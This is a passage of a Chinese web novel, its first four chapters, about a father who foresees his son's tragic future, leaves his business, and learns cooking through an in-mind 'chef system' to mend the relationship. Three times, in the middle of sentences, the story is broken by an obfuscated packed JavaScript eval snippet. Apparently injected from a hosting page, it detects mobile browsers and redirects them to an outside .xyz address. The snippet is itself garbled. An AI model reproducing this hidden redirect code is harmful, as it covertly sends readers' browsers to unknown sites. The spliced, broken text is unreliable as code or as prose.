《爸爸是厨神[美食]》 1. 第1章 “大早上的你去哪？” 楚瑾钰没想到自家大忙人今天竟然这个点还在家，在大门旁停下脚步转身：“去找胡一齐他们。” 今天是周六，学生放假去找朋友玩再正常不过。然而楚易文听到儿子的话却是脸色微变，下意识道：“不许去找他们！” 青春期的孩子本来就容易情绪爆炸，更别说父子二人关系本就不算亲近。楚瑾钰听到父亲的话声音瞬间就大起来：“凭什么？” “教朋友要交对自己……”楚易文想到梦中那一幕幕，忍不住开口教导起来，希望儿子能远离那几个会给他带来不幸的朋友。 事实上梦中一切悲剧的开头是源于误会，并不能赖在胡一齐他们身上，但人皆有心，人心皆偏。大部分家长在面对自己孩子时总是有些护犊子，遇到事都觉得不是自己孩子的问题，而是别人带坏他。 比如现在，楚易文多少有点这种心理。 但楚瑾钰在听到父亲话里话外看不上自己朋友时，简直要被气死：“我的朋友都好得很！用不着你管我！” 少年心里燃起一团愤怒的火焰，烧得眼角都有点红，他扯着嗓子吼完，最终摔门直接跑出去。 “楚瑾钰——” 楚易文没喊住儿子，望着大门眉头微微皱起。 作为一个白手起家的生意人，他知道自己刚刚直接插手儿子的交友有点不合适，但梦中儿子跳楼惨死那一幕幕实在太真实，他实在没忍住，只想立刻改变儿子的命运。 没等他眉头松开，手机铃声忽然响起，公司那边朋友兼合作伙伴打电话问他怎么还没来。 梦中公司破产，他出车祸以及儿子跳楼都是在儿子大学毕业后，而现在，他儿子才刚上高二，一切都还没有发生，楚易文接完电话最终还是决定先去公司。 他和朋友吴有健合伙开的是家房地产公司——易健地产，今天两人要开个小会，商讨一下公司未来的走向。 “你精神看起来不太好，遇到什么事了？” 楚易文是个工作狂，往常都是最早来公司，最晚离开公司那个，因此吴有健看到他进入办公室时立刻先关心一句。 “没事。”楚易文摇摇头，在他关心地追问下才提了一嘴儿子。 吴有健：“都说棍棒底下出孝子，要我说你就是太惯孩子了……” 楚易文没觉得自己惯孩子，倒是反思起来，觉得之前忙于事业确实有些忽略对孩子的教育问题。 于是在吴有健将话题转移到公司未来规划上来时，楚易文终于下定决心。 “你说什么？退出公司？”吴有健先是怀疑自己耳朵出问题了，随即表情严肃起来，“老楚，就咱们俩这关系，有什么事不能好好商量，你至于开这种玩笑？” 两个人对公司未来规划产生分歧，吴有健想要继续扩张，楚易文则对房地产未来有点看不清，想要收缩□□。 刚刚他劝过吴有健，吴有健却表示就算房地产开始走下坡路，也可以在没落前最后捞一把，还反过来嫌弃他怎么还不到四十岁就失去拼劲。 “没跟你开玩笑，从这两年的政策以及……我是真不看好，当然，主要也是感觉这些年忙着工作，都没空好好陪陪家里人……” 说到家里人楚易文就想到已经去世的父母，明明那时他就已经明白意外和明天根本不知道哪个会先来，可在经历子欲养而亲不待后他却又错过该好好陪孩子的时间，导致悲剧的发生。 吴有健见他好像挺认真，急得直接站起身：“不是，兄弟你离四十岁还差两年，又不是已经五六十了！就算退休也不至于这么早吧？” 楚易文是个意志坚定的人，他做好决定就不会再轻易改变。 等他从公司离开时，天早就黑透，身上更是带着微微酒气。 被代驾送回家，楚易文望着黑漆漆的屋子，坐在沙发上给儿子打了个电话，却并没有打通。 他猜到儿子应该还在朋友那，但觉得这么晚还在别人家不太好，于是又连打了几个电话过去。 楚瑾钰此时并不在朋友家，而是和朋友在电竞酒店里玩。 “你爸又打过来了，要不还是接一下，万一他找你有什么事。” 胡一齐话落见他冷着脸跟别人欠他几百万一样，好奇道：“你爸到底怎么你了？” 楚瑾钰总不能说我爸嫌你们几个是狐朋狗友，握着鼠标将怒火都发泄在游戏里。 见他还是不吱声，旁边叶其林干脆直接伸手拿起桌面上响个不停的手机：“喂，叔叔你好，我是叶其林……” 平日里在学校挺骄傲不驯的少年此时倒是挺有礼貌，就是嘴里没句实话，直接扯谎说楚瑾钰今晚在他家住，还说楚瑾钰正在洗澡没空接电话。 楚家。 电话挂断后，楚易文想到刚刚自称是“叶其林”的孩子，又忍不住想叹气。 叶其林、胡一齐、商时贸，这三个都是儿子从小认识的朋友，要说他们有多坏，其实并没有，只能说运气不好，得罪了不该得罪的人，以至于都没有什么好下场。 【叮，厨神小课堂已开启，请宿主尽快进入学习……滋滋……】 楚易文本来就有些心浮气躁，脑海隔三差五就响起的电子音更是令他头疼不已，尤其是声音里还带着滋滋杂音时。 在这个疑似系统的声音第一次响起时他就试图沟通过，但它根本不像网络小说那样智能，以至于他都怀疑自己是不是出现幻听。 在躺到床上后又听见这道声音时，楚易文终于忍不住选择进入，下一秒他就出现在一个厨房中。 厨房里站在个表情严肃的老爷子，看到他时虽然没说话，眼神中却流露出“怎么来这么晚”的严厉。 “去油。”老爷子将一块猪皮丢到他面前。 楚易文还沉浸在原来不是自己幻听而是真有系统的惊讶中，就被猪皮落在案板上发出的声响拉出来，下意识问：“什么？” “去油脂，这还要我教？”老爷子语气严肃地反问。 楚易文倒是做过饭，但仅限于简单煮个面条，做个蛋炒饭，望着面前的猪皮，他唯一能联想到的就是熬猪油。 “我看你长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630379|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得像猪油，今天是做蟹黄汤包。”老爷子瞪他一眼。 蟹黄汤包楚易文倒是吃过，但让他做？他觉得打死他都做不出来。 如果他十几岁时遇到系统，或许会愿意靠学厨艺混口饭吃，但他现在已经三十多岁，就算从公司离开，手里的钱也够他和儿子吃喝不愁，实在对学做菜没什么兴趣。 楚易文在心里默默喊系统，示意自己要退出，然而却根本得不到回应。 这系统该不会是坏了吧？ 叫系统叫不应，楚易文只能皱着眉研究起这个厨房来，然而根本走不出去。 而旁边，老爷子发现他连给猪皮去油脂都不会，脸上表情越发严肃，不过手上却是拿起菜刀教起来。 楚易文情绪从越来越烦躁到逐渐恢复平静后，见老爷子一直在重复手上动作，莫名有种虐待老人的即视感，想到有可能自己不学会一直困在厨房，终于走到旁边拿起菜刀。 蟹黄汤包做起来可不简单，给猪皮去油脂只是最基本的食材处理，接下来还得用处理好的猪皮加老母鸡文火慢炖，炖4个小时以上才能将猪皮的胶全熬出来做成皮冻。 而皮冻做好，接下来还得蒸螃蟹，拆蟹黄蟹肉。 “笨手笨脚，看好。”老爷子看到他拆螃蟹的动作，语气透着嫌弃。 某方面来说，楚易文刚刚怀疑系统是不是坏掉其实没怀疑错，毕竟谁家厨神系统培养厨神不先教基本功，而直接上来就是蟹黄汤包这种难度。 好在楚易文这个人有个优点，那就是有耐心，而且一件事他要么不做，要做就会认真做好。 拆蟹黄、蟹肉还不是最难的，后面的调馅以及面皮才是真不好学，他沉下心来拿出当年高考的架势，还是没让老爷子满意。 “让你擀面皮，你用那么大劲是擀在仇人？” “不是你说要擀薄一些……” 老爷子横他一眼，甚至连再训他几句“谁告诉你擀薄就是用最大的劲”都懒得说，直接自己又示范起来。 楚易文看到同样的面在他手里就服服帖帖被擀成漂亮又完美的面皮，那股不服输的劲头升起来，模仿着他的动作学起来。 都说山中无岁月，世间已千年，系统厨房当然没那么夸张，但时间依旧不知不觉就流逝走。 等到楚易文终于蒸出一笼蟹黄汤包时，已经过去不知道多久，蒸笼掀开那瞬间，热气腾腾间带着蟹黄汤包特有的鲜香，光是闻着就令人食欲大开。 楚易文没想到自己能做出这么漂亮的包子，心里成就感简直满得要溢出来，原来因为得知未来而浮躁的心情都不知不觉变好。 “色香味俱全。” 不怪楚易文忍不住自卖自夸，实在是刚出炉的蟹黄汤包看起来晶莹剔透，那薄如纸的外皮透出里面蟹黄的颜色，配上包子表面的褶皱，像是朵玉菊般漂亮。 老爷子轻哼一声，伸手轻轻提起只蟹黄汤包到盘中，包子入盘倒是未破，但他依旧不是太满意，觉得皮柔韧度不够，馅的比例还是不对，甚至连蒸的火候都没完全把握好，只给了个及格分。 2. 第2章 楚易文听到老爷子的评价，伸手提起个蟹黄汤包，汤汁在晶莹剔透的皮中晃荡却不破，落入碟内还在轻颤，让人迫不及待想要品尝。 他握着筷子在包身上轻轻戳开个洞，在汤汁溢出来瞬间立刻凑近喝起来，汤汁入口微烫，随即一股浓郁鲜甜在味蕾上蔓延开来，那股鲜味很是醇厚，包含蟹鲜、猪肉鲜和鸡汤鲜。 楚易文感觉这比自己之前在酒店吃的蟹黄汤包都不差什么，觉得老爷子评价实在太过苛刻。 老爷子不知是不是从他表情中看出什么，开口道：“好的蟹黄汤包讲究一个鲜而不腻，你这个鲜倒是有了，但多吃几口简直能腻歪死个人。” 楚易文已经吃完整个包子，只觉得汤鲜，馅又香又细腻，皮的麦香更是和馅的鲜味特别搭，简直越吃越香。 至于腻，他真没觉得。 楚易文不语，只是低头一味吃包子，在吃到第四个包子时他才终于发现……好像确实有点腻。 “肉包子容易腻不是很正常，配点醋就好了。”他说完拿起醋往包子里淋了点，再吃时鲜香浓郁中多出股醋香，确实挺解腻。 老爷子轻哼一声，随即将自己做的那笼包子打开推到他面前。 楚易文之前还自我感觉良好，觉得自己做的包子简直色香味俱全，然而凡事就怕对比—— 只见蒸笼里躺着八个大小形状几乎完全相同的包子，晶莹剔透的包子皮透出里面金色的蟹黄，随着内里汤汁微微晃动，甚至有种包子在发金光的错觉。 楚易文望着笼屉里的包子，喉咙不自觉滚动起来，觉得这哪是蟹黄汤包，简直是艺术。 明明同样食材做出的包子，明明他刚刚已经吃过好几个，但此时看着面前新鲜出炉的包子，闻着那股直入人心底的鲜味，他还是口水都差点没流下来。 他试探着伸出手，见老爷子没有阻止，赶紧提起个蟹黄汤包。 吃蟹黄汤包有个口诀叫“轻轻提，慢慢移”，楚易文此时却是因为迫不及待动作稍微有点急，但他手中包子却是很有韧劲，就这皮都没有破，依旧完美落入碟中，只是颤动得很是厉害。 就光这一下，他忽然就有点理解，老爷子刚刚为何会嫌弃他做的包子皮柔韧度不够。 如艺术品一般的蟹黄汤包每个包子褶皱都特别漂亮，以至于楚易文握着筷子犹豫两秒才舍得破坏。 包子被“开窗”后，蟹黄的鲜与鸡汤的醇厚扑鼻而来，等到汤汁入口，那股沁人心脾的鲜味令楚易文眼睛都不自觉闭上，完全沉浸在美食的享受中。 鲜甜浓郁的汤汁刚下肚，他立刻就咬上包子，柔韧的包子皮，单吃都特别香，配上里面细腻鲜香的馅，更是好吃得人想哭。 由于包子馅里有猪皮冻，咀嚼间细腻的同时更是格外顺滑，令楚易文不知不觉就连吃五个包子下肚，只觉唇齿留香，回味无穷。 “醋。”看到他吃得又急又快，老爷子嫌弃的同时又有些自得，伸手把醋推过去。 “你做的这个包子一点都不腻，根本用不着醋。” 楚易文不明白为什么同样的食材，同样的做法，自己做出来就容易腻歪，他做的却是怎么吃都不腻。 老爷子嫌弃地扫他一眼，觉得他真是不懂吃：“醋的酸香能激发鲜味。” 楚易文闻言，轻轻点了些醋到包子中，细细品尝后发现味道确实更有层次感。 他是个好强的人，吃过老爷子做的蟹黄汤包后立刻就继续重新研究怎么把包子做得更加完美。 次日天刚亮，在系统厨房学一晚上包子的楚易文醒来非但没觉得累，反而精神格外好。 应该不是梦吧？ 他低头望着双手微微出会神后，忽然想起来从系统厨房离开前，好像有说什么合格奖励。 楚易文起身在房间转悠一圈，什么都没看到，又在心里喊了几声系统，依旧没得到回应。 不过脑海中清清楚楚的蟹黄汤包做法，以及皮冻制作技巧、蒸蟹、拆蟹技巧、揉面、擀面皮等一系列技巧却告诉他，昨晚应该不是他做梦。 楚易文想想干脆先去洗漱，随即去厨房查看起来，还真在厨房中发现所谓的系统奖励——灌汤包制作食材。 系统奖励的面粉、大闸蟹等食材倒是品质挺好，尤其是大闸蟹，个头又大又饱满，不过在看到用盆装着的皮冻时，他真是越看越眼熟。 这不是我昨晚做的吗？ 发现系统把自己昨晚做的皮冻拿来当奖励，他感觉这系统实在有些抠门，跟网络小说里那些系统根本不一样。 不过吐槽归吐槽，楚易文望着面前这些食材倒是没有嫌弃，反而有些手痒难耐，好奇自己是不是真在睡梦中学会蟹黄汤包。 有昨晚做的皮冻倒是能省不少事，现在只用揉面、擀面皮，蒸螃蟹、拆蟹黄蟹肉来做包子馅就好。 新鲜肥美的大闸蟹蒸熟后那叫一个香，楚易文拆螃蟹时差点没忍住把蟹黄、蟹肉直接塞自己嘴里去。 包子馅当然不是只有蟹黄蟹肉，还有猪肉，三分肥七分瘦的猪肉用刀剁成肉沫，加上蟹黄、蟹肉、猪皮冻，再放入盐、姜末、胡椒粉等调味料，看起来颜色很是漂亮。 楚易文严格按照昨晚老爷子交代的皮冻与肉馅四比一的比例，调好馅后搅拌上劲，手法熟练到他自己都觉得挺神奇。 包子馅调好，旁边提前揉成的面团也已经醒到位，可以开始擀面皮。 蟹黄汤包的面皮要那种中间略厚，但边缘极薄那种，擀起来并不容易，楚易文昨晚光是学这个面皮都不知道学了多久。 此时他倒是能利落地用擀面杖擀出面皮，但拿起来仔细观察几眼，总觉得还是比不上老爷子擀出来的完美。 不过楚易文想到老爷子那个年纪，觉得对方大概已经到“唯手熟尔”的境界，因此也没有气馁，而是继续手上动作。 换做一周前，如果有人喊楚易文下厨房，他只会觉得麻烦，并嫌对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630380|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方有毛病。但此时此刻，他看到一张张面皮从自己手中被擀出来，只感觉心情都不自觉变得平静起来。 包子皮擀好，接下来就是包，想要包出漂亮的包子手法很重要，对包子馅分量的把握同样很重要。 楚易文昨晚学得很认真，但还是做不到像老爷子那样随手就来，有时馅放得正好，有时得用勺子把多了或者少了的馅再调整一下才能开始包。 另一边，电竞酒店某房间，几个少年一夜通宵。 “快八点了，你们是直接睡觉还是去吃早餐？”胡一齐打着哈欠询问几个好朋友。 楚瑾钰有点认床，不爱在外面睡觉，闻言第一个开口：“不吃了，我回家睡觉去。” “回家？你确定？”叶其林想到他昨晚还不接他爸电话，今天就主动回家，抬头看向他。 楚瑾钰听出他话外之意，边把手机揣兜里边说：“那是我家，我想回就回，有什么不确定的。” 实际上是他觉得自家那个大忙人现在估计早去公司了，至于昨天早上，那纯粹是意外。 “行，那你回去吧，我实在太困了，先补个觉。”胡一齐其实有点饿，但见他要回家，商时贸早就睡着，而叶其林看着就不准备吃早餐，于是决定还是先睡觉去。 楚瑾钰冲他们挥挥手，转身离开酒店直接打车回家。 他到家时才八点半左右，刚进门就闻到一股浓郁的鲜味，令本来有些困意汹涌的他瞬间都精神不少，脑海中下意识浮现“什么这么香？”的好奇。 不过好奇心刚升起没两秒，他忽然反应过来什么，眉头不自觉皱起。 厨房里，楚易文早在开门声响起时就猜到是儿子回来了，觉得他回来得倒是正好，立刻端着刚蒸好的蟹黄汤包走出来：“正好，来吃早餐。” “我……”楚瑾钰想说“我才不吃”，但张嘴时口水却是差点没流出来，赶紧把嘴闭上。 “去洗个手吃饭。” 楚易文将包子放到餐桌上后见他还站在原地不动，开口提醒。 见自家大忙人连着两天都在家，甚至还准备上早餐来，像是突然想起自己这个儿子一样，楚瑾钰心里嗤笑一声，很想有骨气地说不吃，但脚却很诚实地迈步先去洗手，再去餐桌前落座。 本来昨天晚上他就没怎么吃，此时闻着蟹黄汤包特有的鲜味，肚子里馋虫早就被勾起来，端起面前包子就往嘴边送，直接被汤汁烫得“嘶”了声。 “慢点，先在包子上开个窗把汤喝了再吃。” 楚瑾钰此时哪顾得上听他说话，被烫到也不影响他继续吃，半个包子进嘴，脑海中此时只剩下“真香”两个字。 包子汤香，里面馅香，就连包子皮都又软又香，好吃到他差点没咬到舌头。 蟹黄汤包的滋味简直像是在味蕾上开了场味觉盛宴，层次分明的鲜味弥漫开来，让楚瑾钰直接忘记自己还在跟父亲生气，完全沉浸在美食中，一个包子接一个地吃起来。 3. 第3章 “来点醋。”楚易文看到儿子吃得那么香，感觉比谈成单大生意还有成就感，将醋碟推到他面前。 已经被美食占据全部内心的楚瑾钰顾不上跟父亲怄气，顺手接过醋碟吃起来。 醋酸不光能解腻增鲜，同时还能开胃，往包子里淋上点醋后他吃得眼睛都微微亮起来，进食速度不自觉加快。 都说半大小子吃穷老子，楚瑾钰正是能吃的年纪，没多久就将桌上包子全部吃完，等反应过来时他眼神有些飘忽，不过想到在自己家吃早餐不是天经地义，他很快就收起那点不好意思。 “厨房里还有，自己进来端。” 楚易文也没想到儿子胃口那么好，不由庆幸还好自己把包子都给蒸了，不然怕是还不够吃。 楚瑾钰确实还没吃够，起身跟着他边往厨房走，边干巴巴问：“这是从哪买的包子？” 其实平常他更爱吃发面包子，觉得死面包子不好吃，今天却是忽然get到死面包子的美味，那个皮薄而有韧劲，吃起来甚至带着点筋道，配上里面的鲜美汤馅，简直越吃越香。 楚瑾钰回味着嘴里的余味，觉得下次可以请朋友们尝尝，毕竟独乐乐不如众乐乐。 “我自己做的。”楚易文说话的同时直接拿出两个盘子往里面装包子。 楚瑾钰大声道：“你自己做的？” 听到儿子声音透着满满的不相信，楚易文转头道：“你看不出来这是在咱们自己家厨房做的？”说完他将满满一盘包子递过去。 楚瑾钰可能是吃人嘴软，倒是没像昨天那样扯着嗓子吼，不过接过盘子后却是忍不住小声嘀咕：“该不会买几个包子自己蒸一下就觉得是自己做的……” 不怪他怀疑，主要他活那么大就没见过他爸下厨房，奶奶在世时由于她老人家不肯请阿姨，都是她亲自做饭，奶奶去世后，他们父子二人基本都是在外面吃或者吃外卖。 楚瑾钰觉得他爸要是会做包子，那太阳怕是都要打西边出来。 当爹的哪个能忍受被儿子不相信，楚易文直接拎起厨房里没用完的面粉示意他看：“包子从皮到馅都是你爸我亲自动手做的，没看垃圾桶里还有螃蟹壳。” 楚瑾钰看到他手中开封的面粉，再瞧瞧厨房垃圾桶里新鲜的螃蟹壳，直接伸手塞个包子进嘴里压压惊。 他现在开始怀疑起面前这人是不是他爸了，怎么最近这两天忽然变得那么闲，还突然会做饭了。 “公司破产了？”楚瑾钰咽下包子发出合理猜测。 楚易文发现自家儿子这张嘴还真挺能气人，没好气道：“你就不能盼着点好的？” “以前都没听说过你会做饭……”楚瑾钰想到以前奶奶在都是奶奶在做饭，奶奶不在他就只能吃学校食堂或者外卖，语气透着点不高兴。 楚易文总不能说自己以前确实不会，是得到个系统昨晚现学的，只能说：“以前太忙了，没空。” 螃蟹本来就是种特别鲜的食材，饱满的蟹黄和蟹肉被拆出来配上猪肉、鸡汤做成馅，鲜味更是能香得人口水直流。 楚瑾钰闻着盘子里飘出来的包子香，顿时顾不上再纠结自家父亲做饭的问题，走回餐桌那边配上醋继续吃起来。 虽然他从头到尾没开口夸过什么，但看他那个吃相，简直像是在用行动表示“这么美味的蟹黄汤包我能吃一百个”。 楚易文端着自己那份包子出来，顺便在儿子手边放了瓶牛奶，随即才终于有空吃早餐。 包子入口鲜香美味，但他回忆着昨晚老爷子做的蟹黄汤包，却是忍不住微微摇头：“还是差点味道……” 楚瑾钰听到他这句话略微抬头，感觉他有点装，不过可能是吃人嘴软，到底没开口吐槽。 美食能令人心情愉悦，吃饱喝足后他表情都放松下来，满足的同时困意上头。 美味的蟹黄汤包缓和父子二人之间的关系，整个上午他们都相安无事，直到中午楚瑾钰被叫起来吃午饭时，没睡够的他才又开始发脾气。 “烦死了，你平常不是都在公司吃饭吗？今天干嘛回来管我！” 实际上并没有去公司，只是在书房用电脑处理些遗留工作的楚易文看着他道：“你昨晚没睡？” 楚瑾钰没回答，而是望着餐桌上的外卖心情越发烦躁，觉得都是吃外卖，就不能让他睡醒自己点，没事干非把他叫起来。 见叫他吃午饭他还像小孩一样闹情绪，吃个饭更是不好好吃，楚易文忍了一下还是没忍住：“像什么样子，吃饭就好好吃……” 楚瑾钰这次倒是没再继续顶嘴，不过接下来变得格外沉默，吃完饭就直接跑房间把门关上。 周末转瞬即逝，很快就到星期一，楚瑾钰学校有早读，他七点不到就直接出门。 他到班上时教室里基本已经坐满人，只有和他关系最好那几个还没来。 直到早读时间快结束时，胡一齐他们三个才从后门进来，叶其林看着他打趣：“真稀奇，你今天竟然来那么早？” 不等楚瑾钰回应，胡一齐直接插话把话题拉到吃上：“今天早上吃什么？” “我无所谓，反正食堂又没好吃的，吃什么都一样。”叶其林道。 胡一齐：“要不吃小笼包？我忽然有点想吃包子。” 听到包子，楚瑾钰不由想到自己昨天早上在家吃的蟹黄汤包，于是顺嘴说起来。 听到他夸蟹黄汤包有多鲜多香时，胡一齐口水差点没流出来，脑海中已经浮现蟹黄的鲜美。 不过叶其林和他关注点不一样，他光顾着听蟹黄汤包有多好吃，叶其林却是抓住重点反问：“你爸做蟹黄汤包？兄弟你认真的？” “你昨晚做梦梦到你爸给你做蟹黄汤包了？”商时贸也跟着打趣起来。 楚瑾钰没好气道：“滚，你才做梦，就是我爸给我做的，我也是昨天才知道他竟然还会这个。” “真有你说的那么好吃吗？那什么时候带给我尝尝？” 看得出来胡一齐是个吃货，压根不关心包子到底是不是他爸做的，只关心自己能不能吃到。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630381|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了，昨天包的都让我给吃完了，等下次，下次他再包我带点给你们尝尝。” 这边几个人早读不好好读书凑一起瞎聊天时，另外一边，楚易文吃过早饭下意识想要开车去公司，人坐到车上才忽然反应过来自己不用再天天往公司跑了。 忙了那么多年，忽然闲下来还真让他有点不适应，坐在车里思索起接下来要干嘛。 就在楚易文想着要不要去儿子学校看看时，系统声忽然响起。 【叮~日常任务，请宿主亲自钓几条鱼，有机会解锁新菜谱哦~】 钓鱼？ 楚易文想到昨天自己做的蟹黄汤包儿子特别喜欢吃，觉得或许可以靠美食拉近父子关系，再找机会好好和他谈谈心。 商业活动中陪客户钓钓鱼打打高尔夫都属于常规娱乐，因此他家里倒是有现成的鱼竿，直接拿上就能出门。 系统任务很简单，甚至都没规定数量，可惜楚易文今天运气似乎不怎么样，在河边坐半天都没钓上半条鱼，反而是打窝打出去小半盆窝料。 就在他觉得这个口不好，收起鱼竿准备换个地方时，忽然发现旁边有个老人掉水里去了，赶紧起身飞奔过去捞人。 老人受到惊吓，被救起来后坐在石头上缓一会才开口谢他：“咳咳……谢谢你啊小伙子……” 得知老人是想在河边洗把脸喝口水，结果脚滑掉进水里，楚易文去自己车后备箱拿了矿泉水打开递给老人，同时提醒他河里的水不要喝。 “习惯了。”老一辈人都是喝井水河水长大，真渴起来时那顾得上那么多，看到矿泉水还推辞两下才接过来喝。 “现在跟以前不一样，以前的水质好，现在污染严重……” 楚易文小时候是在乡下长大，井水河水他也喝过，但今时不同往日，说起来他心里还有点感叹。 “来，这个送给你。” 老爷子喝完水，拒绝楚易文送他回家的提议，从停在河边的那辆老式自行车上拿下个玻璃瓶塞进他手里。 “什么？蜂蜜？”楚易文认出瓶子里是蜂蜜，直接还回去道，“不用客气，你留着自己喝。” 两个人一个不要，一个非要送，来回推几下后，楚易文见车上还有不少蜂蜜，想着土蜂蜜是好东西，干脆拿钱全买下来。 老人本来还不肯要钱，但楚易文却坚持要给，还表示土蜂蜜是好东西，平常想买都买不到。 【叮~恭喜宿主收获高品质食材［蜂蜜］，获得蜜汁系列食谱x3，请宿主尽快进行学习~】 “那你钱还是给多了，平常一百块钱一瓶都不好卖。”老人边说边要把多的钱退给他。 “你这蜂蜜很好，值这个价，我还觉得给少了。” 老人车上一共八瓶蜂蜜，楚易文刚刚直接掏了一千块钱现金给他，现在听到系统都认证这是高品质蜂蜜，干脆把包里剩下现金都拿出来给他。 两人互相都不愿意对方占便宜，你推我我推你，最终还是楚易文趁老人不注意，偷偷把钱塞自行车里直接闪人。 4. 第4章 “今天真是遇到好心人了……”老人追不上楚易文，感叹完忽然想到什么，冲着他背影大声喊了几句话，让他有空来家里吃饭。 九月的天气还有点热，楚易文听到老人扯着嗓子冲自己喊，摆手示意他赶紧回家休息去。 从河边离开，眼见已经到中午，楚易文先随便找个地方吃午饭，吃饱喝足换个地方继续钓起鱼来。 钓鱼是个需要耐心的活动，他不缺耐心，不过却是差点运气，换个地方又坐几个小时都没钓上鱼，倒是引过来只野猫围着他喵喵叫。 狸花猫前面还很兴奋围着他打转，没多久直接在旁边趴下来开始睡觉，最后可能发现他钓不上鱼，起身冲他叫几声就直接跑开。 楚易文总感觉自己好像被只猫给嫌弃了，目送它身影消失后视线落在自己手上，觉得肯定是鱼竿不行，在家放太久放坏掉。 找出今天钓不到鱼的原因，他干脆起身收拾东西，决定去买根新鱼竿，明天继续钓鱼。 等楚易文买完鱼竿回家太阳早就落山，不过家里却是空荡荡，这让他不由怀念起父母还在世时，不论什么时间都有人等他回家。 高中生要上晚自习，好多学生都不爱回家吃饭，嫌跑来跑去麻烦。楚瑾钰也是如此，下午放学都是跟几个朋友一起去外面饭馆吃，因此晚饭楚易文不用等他，随便吃了点外卖。 晚上楚瑾钰下晚自习回来见家里灯亮着，还没来得及诧异就听到父亲的话：“回来了，桌上有水果。” “我不吃。”楚瑾钰望着桌上整个的苹果，以及看着不像洗过的提子，完全没有想吃的欲望。 见他不吃水果，楚易文想到带回来的蜂蜜：“要不要喝蜂蜜水？今天刚买的土蜂蜜。” “不喝。” 楚瑾钰对喝蜂蜜水没兴趣，他现在再次怀疑起家里公司是不是破产了。 不过没等他问出心里疑惑，楚易文先开口：“作业做完没？没做完自己慢慢做，实在做不完也没关系，不用怕老师说你……” 他其实想说不要抄别人作业，但感觉这么说太直接，可能会让儿子生气，觉得还是委婉点。 楚易文之所以会说这话，全因为梦中悲剧起源就是抄作业，他儿子和几个朋友抄班里学霸的作业，被老师发现后以为是对方出卖他们，便开始各种针对那个叫邵言易的学霸。 而某次放学，邵言易被他们关在教室出不来，偏偏他奶奶在家摔倒磕破头，由于没有人及时救助导致死亡，于是仇就这么结下。 楚瑾钰听到他问作业时心里下意识有点不耐烦，不过等听到后面的话，却是怀疑起自己耳朵来：“爸你发烧了？”不然怎么会忽然开始说胡话，要知道他前两个月由于暑假作业一直拖着不做还被骂一顿。 “我好好跟你说话，你才发烧了。”楚易文语气透着无奈。 “行吧，没发烧就好，对了，昨天那蟹黄汤包真是你自己亲手做的？” 其实楚瑾钰很想说让他再做点带给自己朋友尝尝，但得到肯定回答后，话却到底没说出口。 高中下晚自习后时间已经不早，父子二人简单说几句话就各回各房间休息去。 在楚易文躺上床睡觉时，系统声再次响起，提醒他有新菜谱可以进行学习。 体验过做美食的成就感，他对学厨艺不再排斥，反而有点期待，选择同意后就直接进入系统厨房。 厨房内依旧是那位老爷子，看到他直接将一袋小鱼干丢过来让他处理。袋子里是特别漂亮的小银鱼干，散发着鱼类特有的鲜味，以及一点鱼腥气。 下午时楚易文通过蜂蜜获取三样蜜汁系列菜谱，今天晚上学的这道正是——蜜汁香辣小鱼干。 蜜汁香辣风味的小鱼干吃起来外酥里韧，咸甜适口，不管是当零嘴吃还是用来下酒都特别美味，绝对是道老少皆宜的美食。 楚易文清洗着一条条小鱼干，却是不由想到他爸以前就特别爱买这种小鱼干当下酒菜。 蜜汁香辣小鱼干做起来不难，食材清理好后要么直接油炸，要么小火慢煸，两种做法油炸口感更酥脆，煸炒出来的则相对没那么油，更能保留鱼干的原香。 这道菜除了火候掌握很重要外，就是调蜜汁香辣酱，有老爷子在旁边教，学起来倒是不难。 不得不说，老爷子实在是位好老师，就是可惜长了张嘴，要么不说话，一开口就喜欢毒舌。 比如楚易文刚开始把握不住炸鱼的火候，把鱼炸得有点焦时就被他嘲讽以前是不是挖矿的，就喜欢看到黑色。 哪有碳那么黑…… 楚易文不敢回嘴，但心里却是忍不住反驳，说完也没浪费那些鱼干，直接全塞自己嘴里，觉得虽然有一点点焦，但吃起来还是挺香。 油好食材好，小鱼干炸出来即便焦点味道都不会太差，反正比他预料的要好吃。 老爷子看到他那没出息的样子，恨铁不成钢地将人从灶台边挤开，自己重新掌握油温炸了几条鱼出来。 片刻后，小鱼干从油锅里出来，表面滋滋冒的小油泡像是给它镀上层金光，同时那股被高温完全激发出来的鱼鲜味，香得人食指大动。 金黄色的小鱼干还没进行调味，看起来就已经很美味，楚易文不自觉伸出手，没两下就全部吃完，只觉得酥中带韧，鱼鲜味格外浓郁，哪怕没有进行调味都香得他停不下嘴。 “老师要不你再炸点？”他吃完感觉唇齿留香，很是意犹未尽。 